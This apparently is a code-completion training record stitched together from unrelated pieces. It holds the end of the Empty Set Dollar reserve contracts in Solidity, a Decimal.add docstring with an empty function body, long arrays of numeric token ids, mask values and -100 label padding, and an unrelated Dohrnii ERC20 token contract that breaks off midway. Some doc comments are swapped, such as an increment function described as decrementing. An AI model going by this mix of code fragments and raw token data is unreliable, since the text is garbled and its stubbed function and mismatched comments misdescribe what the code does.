* @notice Sets the `price` and `amount` of the specified `makerToken`-`takerToken` order
* @dev Internal only
* @param makerToken Token that the reserve wishes to sell
* @param takerToken Token that the reserve wishes to buy
* @param price Price as a ratio of takerAmount:makerAmount times 10^18
* @param amount Amount to decrement in ESD
*/
function _updateOrder(address makerToken, address takerToken, uint256 price, uint256 amount) internal {
_state.orders[makerToken][takerToken] = ReserveTypes.Order({price: Decimal.D256({value: price}), amount: amount});
}
/**
* @notice Decrements the available amount of the specified `makerToken`-`takerToken` order
* @dev Internal only
Reverts when insufficient amount with reason `reason`
* @param makerToken Token that the reserve wishes to sell
* @param takerToken Token that the reserve wishes to buy
* @param amount Amount to decrement in ESD
* @param reason revert reason
*/
function _decrementOrderAmount(address makerToken, address takerToken, uint256 amount, string memory reason) internal {
_state.orders[makerToken][takerToken].amount = _state.orders[makerToken][takerToken].amount.sub(amount, reason);
}
/**
* @notice Decrements the debt for `borrower`
* @dev Internal only
* @param borrower Address that is drawing the debt
* @param amount Amount of debt to draw
*/
function _incrementDebt(address borrower, uint256 amount) internal {
_state.totalDebt = _state.totalDebt.add(amount);
_state.debt[borrower] = _state.debt[borrower].add(amount);
}
/**
* @notice Increments the debt for `borrower`
* @dev Internal only
Reverts when insufficient amount with reason `reason`
* @param borrower Address that is drawing the debt
* @param amount Amount of debt to draw
* @param reason revert reason
*/
function _decrementDebt(address borrower, uint256 amount, string memory reason) internal {
_state.totalDebt = _state.totalDebt.sub(amount, reason);
_state.debt[borrower] = _state.debt[borrower].sub(amount, reason);
}
}
/*
Copyright 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title ReserveVault
* @notice Logic to passively manage USDC reserve with low-risk strategies
* @dev Currently uses Compound to lend idle USDC in the reserve
*/
contract ReserveVault is ReserveAccessors {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Decimal for Decimal.D256;
/**
* @notice Emitted when `amount` USDC is supplied to the vault
*/
event SupplyVault(uint256 amount);
/**
* @notice Emitted when `amount` USDC is redeemed from the vault
*/
event RedeemVault(uint256 amount);
/**
* @notice Total value of the assets managed by the vault
* @dev Denominated in USDC
* @return Total value of the vault
*/
function _balanceOfVault() internal view returns (uint256) {
ICErc20 cUsdc = ICErc20(registry().cUsdc());
Decimal.D256 memory exchangeRate = Decimal.D256({value: cUsdc.exchangeRateStored()});
return exchangeRate.mul(cUsdc.balanceOf(address(this))).asUint256();
}
/**
* @notice Supplies `amount` USDC to the external protocol for reward accrual
* @dev Supplies to the Compound USDC lending pool
* @param amount Amount of USDC to supply
*/
function _supplyVault(uint256 amount) internal {
address cUsdc = registry().cUsdc();
IERC20(registry().usdc()).safeApprove(cUsdc, amount);
require(ICErc20(cUsdc).mint(amount) == 0, "ReserveVault: supply failed");
emit SupplyVault(amount);
}
/**
* @notice Redeems `amount` USDC from the external protocol for reward accrual
* @dev Redeems from the Compound USDC lending pool
* @param amount Amount of USDC to redeem
*/
function _redeemVault(uint256 amount) internal {
require(ICErc20(registry().cUsdc()).redeemUnderlying(amount) == 0, "ReserveVault: redeem failed");
emit RedeemVault(amount);
}
/**
* @notice Claims all available governance rewards from the external protocol
* @dev Owner only - governance hook
* Claims COMP accrued from lending on the USDC pool
*/
function claimVault() external onlyOwner {
ICErc20(registry().cUsdc()).comptroller().claimComp(address(this));
}
/**
* @notice Delegates voting power to `delegatee` for `token` governance token held by the reserve
* @dev Owner only - governance hook
* Works for all COMP-based governance tokens
* @param token Governance token to delegate voting power
* @param delegatee Account to receive reserve's voting power
*/
function delegateVault(address token, address delegatee) external onlyOwner {
IGovToken(token).delegate(delegatee);
}
}
/**
* @title ICErc20
* @dev Compound ICErc20 interface
*/
contract ICErc20 {
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(uint mintAmount) external returns (uint256);
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to redeem
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlying(uint redeemAmount) external returns (uint256);
/**
* @notice Get the token balance of the `account`
* @param account The address of the account to query
* @return The number of tokens owned by `account`
*/
function balanceOf(address account) external view returns (uint256);
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() external view returns (uint256);
/**
* @notice Contract which oversees inter-cToken operations
*/
function comptroller() public view returns (IComptroller);
}
/**
* @title IComptroller
* @dev Compound IComptroller interface
*/
contract IComptroller {
/**
* @notice Claim all the comp accrued by holder in all markets
* @param holder The address to claim COMP for
*/
function claimComp(address holder) public;
}
/*
Copyright 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title ReserveComptroller
* @notice Reserve accounting logic for managing the ESD stablecoin.
*/
contract ReserveComptroller is ReserveAccessors, ReserveVault {
using SafeMath for uint256;
using Decimal for Decimal.D256;
using SafeERC20 for IERC20;
/**
* @notice Emitted when `account` purchases `mintAmount` ESD from the reserve for `costAmount` USDC
*/
event Mint(address indexed account, uint256 mintAmount, uint256 costAmount);
/**
* @notice Emitted when `account` sells `costAmount` ESD to the reserve for `redeemAmount` USDC
*/
event Redeem(address indexed account, uint256 costAmount, uint256 redeemAmount);
/**
* @notice Emitted when `account` borrows `borrowAmount` ESD from the reserve
*/
event Borrow(address indexed account, uint256 borrowAmount);
/**
* @notice Emitted when `account` repays `repayAmount` ESD to the reserve
*/
event Repay(address indexed account, uint256 repayAmount);
/**
* @notice Helper constant to convert ESD to USDC and vice versa
*/
uint256 private constant USDC_DECIMAL_DIFF = 1e12;
// EXTERNAL
/**
* @notice The total value of the reserve-owned assets denominated in USDC
* @return Reserve total value
*/
function reserveBalance() public view returns (uint256) {
uint256 internalBalance = _balanceOf(registry().usdc(), address(this));
uint256 vaultBalance = _balanceOfVault();
return internalBalance.add(vaultBalance);
}
/**
* @notice The ratio of the {reserveBalance} to total ESD issuance
* @dev Assumes 1 ESD = 1 USDC, normalizing for decimals
* @return Reserve ratio
*/
function reserveRatio() public view returns (Decimal.D256 memory) {
uint256 issuance = _totalSupply(registry().dollar()).sub(totalDebt());
return issuance == 0 ? Decimal.one() : Decimal.ratio(_fromUsdcAmount(reserveBalance()), issuance);
}
/**
* @notice The price that one ESD can currently be sold to the reserve for
* @dev Returned as a Decimal.D256
* Normalizes for decimals (e.g. 1.00 USDC == Decimal.one())
* Equivalent to the current reserve ratio less the current redemption tax (if any)
* @return Current ESD redemption price
*/
function redeemPrice() public view returns (Decimal.D256 memory) {
return Decimal.min(reserveRatio(), Decimal.one());
}
/**
* @notice Mints `amount` ESD to the caller in exchange for an equivalent amount of USDC
* @dev Non-reentrant
* Normalizes for decimals
* Caller must approve reserve to transfer USDC
* @param amount Amount of ESD to mint
*/
function mint(uint256 amount) external nonReentrant {
uint256 costAmount = _toUsdcAmount(amount);
// Take the ceiling to ensure no "free" ESD is minted
costAmount = _fromUsdcAmount(costAmount) == amount ? costAmount : costAmount.add(1);
_transferFrom(registry().usdc(), msg.sender, address(this), costAmount);
_supplyVault(costAmount);
_mintDollar(msg.sender, amount);
emit Mint(msg.sender, amount, costAmount);
}
/**
* @notice Burns `amount` ESD from the caller in exchange for USDC at the rate of {redeemPrice}
* @dev Non-reentrant
* Normalizes for decimals
* Caller must approve reserve to transfer ESD
* @param amount Amount of ESD to mint
*/
function redeem(uint256 amount) external nonReentrant {
uint256 redeemAmount = _toUsdcAmount(redeemPrice().mul(amount).asUint256());
_transferFrom(registry().dollar(), msg.sender, address(this), amount);
_burnDollar(amount);
_redeemVault(redeemAmount);
_transfer(registry().usdc(), msg.sender, redeemAmount);
emit Redeem(msg.sender, amount, redeemAmount);
}
/**
* @notice Lends `amount` ESD to `to` while recording the corresponding debt entry
* @dev Non-reentrant
* Caller must be owner
* Used to pre-fund trusted contracts with ESD without backing (e.g. batchers)
* @param account Address to send the borrowed ESD to
* @param amount Amount of ESD to borrow
*/
function borrow(address account, uint256 amount) external onlyOwner nonReentrant {
require(_canBorrow(account, amount), "ReserveComptroller: cant borrow");
_incrementDebt(account, amount);
_mintDollar(account, amount);
emit Borrow(account, amount);
}
/**
* @notice Repays `amount` ESD on behalf of `to` while reducing its corresponding debt
* @dev Non-reentrant
* @param account Address to repay ESD on behalf of
* @param amount Amount of ESD to repay
*/
function repay(address account, uint256 amount) external nonReentrant {
_decrementDebt(account, amount, "ReserveComptroller: insufficient debt");
_transferFrom(registry().dollar(), msg.sender, address(this), amount);
_burnDollar(amount);
emit Repay(account, amount);
}
// INTERNAL
/**
* @notice Mints `amount` ESD to `account`
* @dev Internal only
* @param account Account to receive minted ESD
* @param amount Amount of ESD to mint
*/
function _mintDollar(address account, uint256 amount) internal {
address dollar = registry().dollar();
IManagedToken(dollar).mint(amount);
IERC20(dollar).safeTransfer(account, amount);
}
/**
* @notice Burns `amount` ESD held by the reserve
* @dev Internal only
* @param amount Amount of ESD to burn
*/
function _burnDollar(uint256 amount) internal {
IManagedToken(registry().dollar()).burn(amount);
}
/**
* @notice `token` balance of `account`
* @dev Internal only
* @param token Token to get the balance for
* @param account Account to get the balance of
*/
function _balanceOf(address token, address account) internal view returns (uint256) {
return IERC20(token).balanceOf(account);
}
/**
* @notice Total supply of `token`
* @dev Internal only
* @param token Token to get the total supply of
*/
function _totalSupply(address token) internal view returns (uint256) {
return IERC20(token).totalSupply();
}
/**
* @notice Safely transfers `amount` `token` from the caller to `receiver`
* @dev Internal only
* @param token Token to transfer
* @param receiver Account to receive the tokens
* @param amount Amount to transfer
*/
function _transfer(address token, address receiver, uint256 amount) internal {
IERC20(token).safeTransfer(receiver, amount);
}
/**
* @notice Safely transfers `amount` `token` from the `sender` to `receiver`
* @dev Internal only
Requires `amount` allowance from `sender` for caller
* @param token Token to transfer
* @param sender Account to send the tokens
* @param receiver Account to receive the tokens
* @param amount Amount to transfer
*/
function _transferFrom(address token, address sender, address receiver, uint256 amount) internal {
IERC20(token).safeTransferFrom(sender, receiver, amount);
}
/**
* @notice Converts ESD amount to USDC amount
* @dev Private only
* Converts an 18-decimal ERC20 amount to a 6-decimals ERC20 amount
* @param dec18Amount 18-decimal ERC20 amount
* @return 6-decimals ERC20 amount
*/
function _toUsdcAmount(uint256 dec18Amount) internal pure returns (uint256) {
return dec18Amount.div(USDC_DECIMAL_DIFF);
}
/**
* @notice Convert USDC amount to ESD amount
* @dev Private only
* Converts a 6-decimal ERC20 amount to an 18-decimals ERC20 amount
* @param usdcAmount 6-decimal ERC20 amount
* @return 18-decimals ERC20 amount
*/
function _fromUsdcAmount(uint256 usdcAmount) internal pure returns (uint256) {
return usdcAmount.mul(USDC_DECIMAL_DIFF);
}
function _canBorrow(address account, uint256 amount) private view returns (bool) {
uint256 totalBorrowAmount = debt(account).add(amount);
if ( // WrapOnlyBatcher
account == address(0x0B663CeaCEF01f2f88EB7451C70Aa069f19dB997) &&
totalBorrowAmount <= 1_000_000e18
) return true;
return false;
}
}
/*
Copyright 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title ReserveSwapper
* @notice Logic for managing outstanding reserve limit orders.
* Since the reserve is autonomous, it cannot use traditional DEXs without being front-run. The `ReserveSwapper`
* allows governance to place outstanding limit orders selling reserve assets in exchange for assets the reserve
* wishes to purchase. This is the main mechanism by which the reserve may diversify itself, or buy back ESDS
* using generated rewards.
*/
contract ReserveSwapper is ReserveComptroller {
using SafeMath for uint256;
using Decimal for Decimal.D256;
using SafeERC20 for IERC20;
/**
* @notice Emitted when `amount` of the `makerToken`-`takerToken` order is registered with price `price`
*/
event OrderRegistered(address indexed makerToken, address indexed takerToken, uint256 price, uint256 amount);
/**
* @notice Emitted when the reserve pays `takerAmount` of `takerToken` in exchange for `makerAmount` of `makerToken`
*/
event Swap(address indexed makerToken, address indexed takerToken, uint256 takerAmount, uint256 makerAmount);
/**
* @notice Sets the `price` and `amount` of the specified `makerToken`-`takerToken` order
* @dev Owner only - governance hook
* @param makerToken Token that the reserve wishes to sell
* @param takerToken Token that the reserve wishes to buy
* @param price Price as a ratio of takerAmount:makerAmount times 10^18
* @param amount Amount of the makerToken that reserve wishes to sell - uint256(-1) indicates all reserve funds
*/
function registerOrder(address makerToken, address takerToken, uint256 price, uint256 amount) external onlyOwner {
_updateOrder(makerToken, takerToken, price, amount);
emit OrderRegistered(makerToken, takerToken, price, amount);
}
/**
* @notice Purchases `makerToken` from the reserve in exchange for `takerAmount` of `takerToken`
* @dev Non-reentrant
* Uses the state-defined price for the `makerToken`-`takerToken` order
* Maker and taker tokens must be different
* Cannot swap ESD
* @param makerToken Token that the caller wishes to buy
* @param takerToken Token that the caller wishes to sell
* @param takerAmount Amount of takerToken to sell
*/
function swap(address makerToken, address takerToken, uint256 takerAmount) external nonReentrant {
address dollar = registry().dollar();
require(makerToken != dollar, "ReserveSwapper: unsupported token");
require(takerToken != dollar, "ReserveSwapper: unsupported token");
require(makerToken != takerToken, "ReserveSwapper: tokens equal");
ReserveTypes.Order memory order = order(makerToken, takerToken);
uint256 makerAmount = Decimal.from(takerAmount).div(order.price, "ReserveSwapper: no order").asUint256();
if (order.amount != uint256(-1))
_decrementOrderAmount(makerToken, takerToken, makerAmount, "ReserveSwapper: insufficient amount");
_transferFrom(takerToken, msg.sender, address(this), takerAmount);
_transfer(makerToken, msg.sender, makerAmount);
emit Swap(makerToken, takerToken, takerAmount, makerAmount);
}
}
/*
Copyright 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title ReserveIssuer
* @notice Logic to manage the supply of ESDS
*/
contract ReserveIssuer is ReserveAccessors {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/**
* @notice Emitted when `account` mints `amount` of ESDS
*/
event MintStake(address account, uint256 mintAmount);
/**
* @notice Emitted when `amount` of ESDS is burned from the reserve
*/
event BurnStake(uint256 burnAmount);
/**
* @notice Mints new ESDS tokens to a specified `account`
* @dev Non-reentrant
* Owner only - governance hook
* ESDS maxes out at ~79b total supply (2^96/10^18) due to its 96-bit limitation
* Will revert if totalSupply exceeds this maximum
* @param account Account to mint ESDS to
* @param amount Amount of ESDS to mint
*/
function mintStake(address account, uint256 amount) public onlyOwner {
address stake = registry().stake();
IManagedToken(stake).mint(amount);
IERC20(stake).safeTransfer(account, amount);
emit MintStake(account, amount);
}
/**
* @notice Burns all reserve-held ESDS tokens
* @dev Non-reentrant
* Owner only - governance hook
*/
function burnStake() public onlyOwner {
address stake = registry().stake();
uint256 stakeBalance = IERC20(stake).balanceOf(address(this));
IManagedToken(stake).burn(stakeBalance);
emit BurnStake(stakeBalance);
}
}
/*
Copyright 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title ReserveImpl
* @notice Top-level Reserve contract that extends all other reserve sub-contracts
* @dev This contract should be used an implementation contract for an AdminUpgradeabilityProxy
*/
contract ReserveImpl is IReserve, ReserveComptroller, ReserveIssuer, ReserveSwapper { }
|
* @notice Adds Decimal.D256 `b` to Decimal.D256 `self` @param self Original Decimal.D256 number @param b Decimal.D256 to add to `self` @return Resulting Decimal.D256/
|
function add(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
}
| 12,066,155 |
[
1,
3655,
11322,
18,
40,
5034,
1375,
70,
68,
358,
11322,
18,
40,
5034,
1375,
2890,
68,
225,
365,
19225,
11322,
18,
40,
5034,
1300,
225,
324,
11322,
18,
40,
5034,
358,
527,
358,
1375,
2890,
68,
327,
3438,
310,
11322,
18,
40,
5034,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
527,
12,
203,
3639,
463,
5034,
3778,
365,
16,
203,
3639,
463,
5034,
3778,
324,
203,
565,
262,
203,
565,
2713,
203,
565,
16618,
203,
565,
1135,
261,
40,
5034,
3778,
13,
203,
565,
288,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// File: contracts/SafeMath.sol
pragma solidity ^0.8.10;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: mult. overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/IERC20.sol
pragma solidity ^0.8.10;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/Context.sol
pragma solidity ^0.8.10;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/ERC20.sol
pragma solidity ^0.8.10;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string constant private _name = "Dohrnii";
string constant private _symbol = "DHN";
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public pure returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public pure returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
